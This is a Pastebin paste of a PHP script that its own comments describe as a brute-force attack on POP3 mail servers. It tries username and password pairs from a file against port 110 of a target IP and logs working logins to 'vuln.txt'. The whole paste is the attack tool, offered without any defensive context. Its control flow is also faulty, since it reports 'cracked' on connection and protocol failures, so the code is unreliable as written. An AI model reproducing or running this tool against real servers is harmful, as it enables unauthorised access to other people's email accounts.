Advertisement
Guest User

Untitled

a guest
Oct 15th, 2011
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.43 KB | None | 0 0
  1. <?php
  2.  
  3. error_reporting(0);
  4.  
  5. function POPa($username, $password, $server) {
  6.  
  7. $socket = fsockopen($server, 110); // POP3 port
  8.  
  9. if (!$socket) {
  10.  
  11. return "cracked";
  12.  
  13.  
  14.  
  15. }
  16.  
  17.  
  18.  
  19. $res = fgets($socket, 512); // read +OK
  20.  
  21. if (substr(trim($res), 0, 3) != "+OK") {
  22.  
  23. return "cracked"; // return the error
  24.  
  25. }
  26.  
  27. fputs($socket, "USER $username\r\n"); // send user
  28.  
  29. $res = fgets($socket, 512); // read +OK
  30.  
  31. if (substr(trim($res), 0, 3) != "+OK") {
  32.  
  33. return "cracked";
  34.  
  35. }
  36.  
  37. fputs($socket, "PASS $password\r\n"); // send pass
  38.  
  39. $res = fgets($socket, 512); // read +OK
  40.  
  41. if (substr(trim($res), 0, 3) != "+OK") {
  42.  
  43. return $res;
  44.  
  45. }
  46.  
  47. fputs($socket, "QUIT\r\n"); // quit
  48.  
  49.  
  50.  
  51. fclose($socket);
  52.  
  53. $fp = fopen("vuln.txt", "a");
  54.  
  55. fwrite($fp, " $server $username $password\r\n");
  56.  
  57. fclose($fp);
  58.  
  59. return "cracked";
  60.  
  61. }
  62.  
  63.  
  64.  
  65. //SET INITIAL LOAD
  66.  
  67. $ip = $argv[1];
  68.  
  69.  
  70.  
  71.  
  72.  
  73. //READ USER/PASS FILE
  74.  
  75. $fp = fopen("pass_file", "r");
  76.  
  77. $i = 1;
  78.  
  79. $c2= 1;
  80.  
  81. while (!feof($fp)) {
  82.  
  83. $propozitie = fgets($fp, 4096);
  84.  
  85. $propozitie = explode(" ", $propozitie);
  86.  
  87. $user[$i] = $propozitie[0];
  88.  
  89. @$pass[$i] = $propozitie[1];
  90.  
  91. $i = $i + 1;
  92.  
  93. $c2 = $c2 + 1;
  94.  
  95. }
  96.  
  97. fclose($fp);
  98.  
  99.  
  100.  
  101. //Do BRUTE-FORCE ATACK
  102.  
  103. $x = 1;
  104.  
  105. $chestie = "not";
  106.  
  107.  
  108.  
  109. while (( $x < $c2 ) and ( $chestie != "cracked" )) {
  110.  
  111. $chestie = POPa($user[$x], $pass[$x], $ip);
  112.  
  113. if ( $chestie == "cracked" ) {
  114.  
  115. $quit = 1;
  116.  
  117. }
  118.  
  119. $x = $x + 1;
  120.  
  121. }
  122.  
  123.  
  124.  
  125. //SET END LOAD
  126.  
  127.  
  128.  
  129.  
  130.  
  131. ?>
  132.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement